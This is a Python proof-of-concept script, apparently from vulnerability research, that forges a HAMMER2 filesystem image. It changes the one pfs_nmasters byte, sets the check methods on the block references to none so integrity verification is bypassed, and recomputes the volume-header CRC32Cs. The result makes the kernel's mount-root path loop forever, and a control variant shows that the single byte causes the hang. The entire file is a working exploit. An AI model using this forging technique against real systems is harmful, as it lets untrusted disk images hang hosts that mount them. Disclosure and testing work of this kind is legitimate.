#!/usr/bin/env python3
"""
DF-2630 PoC image forger.

Base image: newfs_hammer2 -L testvol (fresh, never mounted).  Stock image
has meta.pfs_nmasters = 0x00 and meta.pfs_type = 0x06 (MASTER).

Variants (each differs from the other by EXACTLY ONE byte):
    wedge    : PFS inode "testvol": meta.pfs_nmasters 0x00 -> 0x02
               (minimal, realistic-looking: "this cluster has 2 masters")
               -> pmp->pfs_nmasters = 2 (vfsops.c:527-528, no clamp,
                  no reconciliation against nchains=1)
               -> nquorum = 2/2+1 = 2 (hammer2_cluster_check,
                  cluster.c:348) > nchains = 1: quorum can NEVER form
               -> hammer2_vfs_root() loops forever at vfsops.c:1966-2011
                  (ipcluster xop collect fails ESRCH->ENOENT, tsleep
                  "h2root" hz, retry; no timeout, no failure path)
    control  : same forging machinery (CHECK_NONE brefs, volhdr CRCs
               recomputed) but meta.pfs_nmasters -> 0x01
               -> nquorum = 1/1+1 = 1 = nchains: quorum forms instantly
               -> mount/ls/umount all work normally
               (proves the wedge is caused by the single nmasters byte)

CRC handling (technique proven in DF-2616/DF-2620): set methods=0x00
(CHECK_NONE) on the volhdr sroot bref and on the PFS inode bref inside
the sroot block, so neither the (patched) sroot block nor the (patched)
PFS inode block is ever check-verified; recompute the 3 volume-header
CRC32Cs.
"""
import struct, sys

# ---------------- CRC32C (matches sys/libkern/icrc32.c) --------------------
def _mk():
    poly = 0x82F63B78
    t = []
    for n in range(256):
        c = n
        for _ in range(8):
            c = (c >> 1) ^ poly if (c & 1) else (c >> 1)
        t.append(c)
    return t
_T = _mk()

def iscsi_crc32(data):
    crc = 0xFFFFFFFF
    for b in data:
        crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc ^ 0xFFFFFFFF

assert iscsi_crc32(b"123456789") == 0xE3069283

RADIX_MASK = 0x3F
BREF = 128
INODE_DATA_BLOCKSET = 0x200
OFF_PFS_NMASTERS = 0x86
T_EMPTY, T_INODE, T_INDIRECT = 0, 1, 2

def bref_parse(buf, off):
    t, methods = struct.unpack_from('<2B', buf, off)
    key, mtid, modtid, doff, utid = struct.unpack_from('<QQQQQ', buf, off + 8)
    return dict(type=t, methods=methods, key=key, data_off=doff, off=off)

def recompute_volhdr_crcs(buf):
    c1 = iscsi_crc32(bytes(buf[512:1024]))
    struct.pack_into('<I', buf, 0x1E0 + 6 * 4, c1)
    c0 = iscsi_crc32(bytes(buf[0:508]))
    struct.pack_into('<I', buf, 0x1E0 + 7 * 4, c0)
    cv = iscsi_crc32(bytes(buf[0:0xFFFC]))
    struct.pack_into('<I', buf, 0xFFFC, cv)

def main():
    if len(sys.argv) != 4 or sys.argv[2] not in ('wedge', 'control'):
        print("usage: forge_df2630.py <base.img> <wedge|control> <out.img>")
        sys.exit(2)
    base, variant, out = sys.argv[1:4]
    img = bytearray(open(base, 'rb').read())
    volhdr = img[0:0x10000]
    assert struct.unpack_from('<Q', volhdr, 0)[0] == 0x48414D3205172011

    # locate sroot block via volhdr root_blockref (offset 0x200)
    sroot0 = None
    for i in range(4):
        br = bref_parse(volhdr, 0x200 + i * BREF)
        if br['data_off']:
            sroot0 = br
            break
    sroot_blk = sroot0['data_off'] & ~RADIX_MASK

    # find the "testvol" PFS inode bref under sroot (direct + indirect)
    pfs_bref = None

    def try_child(br):
        nonlocal pfs_bref
        if br['type'] != T_INODE or not (br['data_off'] & RADIX_MASK):
            return False
        iblk = br['data_off'] & ~RADIX_MASK
        name_len = struct.unpack_from('<H', img, iblk + 0x80)[0]
        fname = bytes(img[iblk + 0x100:iblk + 0x100 + max(name_len, 1)]).split(b'\0')[0]
        if fname == b'testvol':
            pfs_bref = br
            return True
        return False

    def walk_indirect(blk, radix, depth):
        nslots = min((1 << radix) // BREF, 1024)
        for i in range(nslots):
            br = bref_parse(img, blk + i * BREF)
            if br['type'] == T_EMPTY:
                continue
            if try_child(br):
                return True
            if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK) and depth < 4:
                if walk_indirect(br['data_off'] & ~RADIX_MASK, br['data_off'] & RADIX_MASK, depth + 1):
                    return True
        return False

    for i in range(4):
        br = bref_parse(img, sroot_blk + INODE_DATA_BLOCKSET + i * BREF)
        if try_child(br):
            break
        if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
            if walk_indirect(br['data_off'] & ~RADIX_MASK, br['data_off'] & RADIX_MASK, 1):
                break
    assert pfs_bref, "testvol PFS inode not found"

    iblk = pfs_bref['data_off'] & ~RADIX_MASK
    nval = 2 if variant == 'wedge' else 1
    print("[forge] sroot bref @volhdr+%#x (methods %#x -> 00)"
          % (sroot0['off'], sroot0['methods']))
    print("[forge] testvol inode bref @%#x (methods %#x -> 00) -> inode blk @%#x"
          % (pfs_bref['off'], pfs_bref['methods'], iblk))
    print("[forge] %s: pfs_nmasters %#x -> %#x"
          % (variant, img[iblk + OFF_PFS_NMASTERS], nval))
    img[iblk + OFF_PFS_NMASTERS] = nval

    # CHECK_NONE the whole path: volhdr sroot bref + PFS inode bref
    struct.pack_into('<B', img, sroot0['off'] + 0x01, 0x00)
    struct.pack_into('<B', img, pfs_bref['off'] + 0x01, 0x00)

    recompute_volhdr_crcs(img)
    open(out, 'wb').write(img)
    print("[+] wrote %s (variant %s)" % (out, variant))

if __name__ == '__main__':
    main()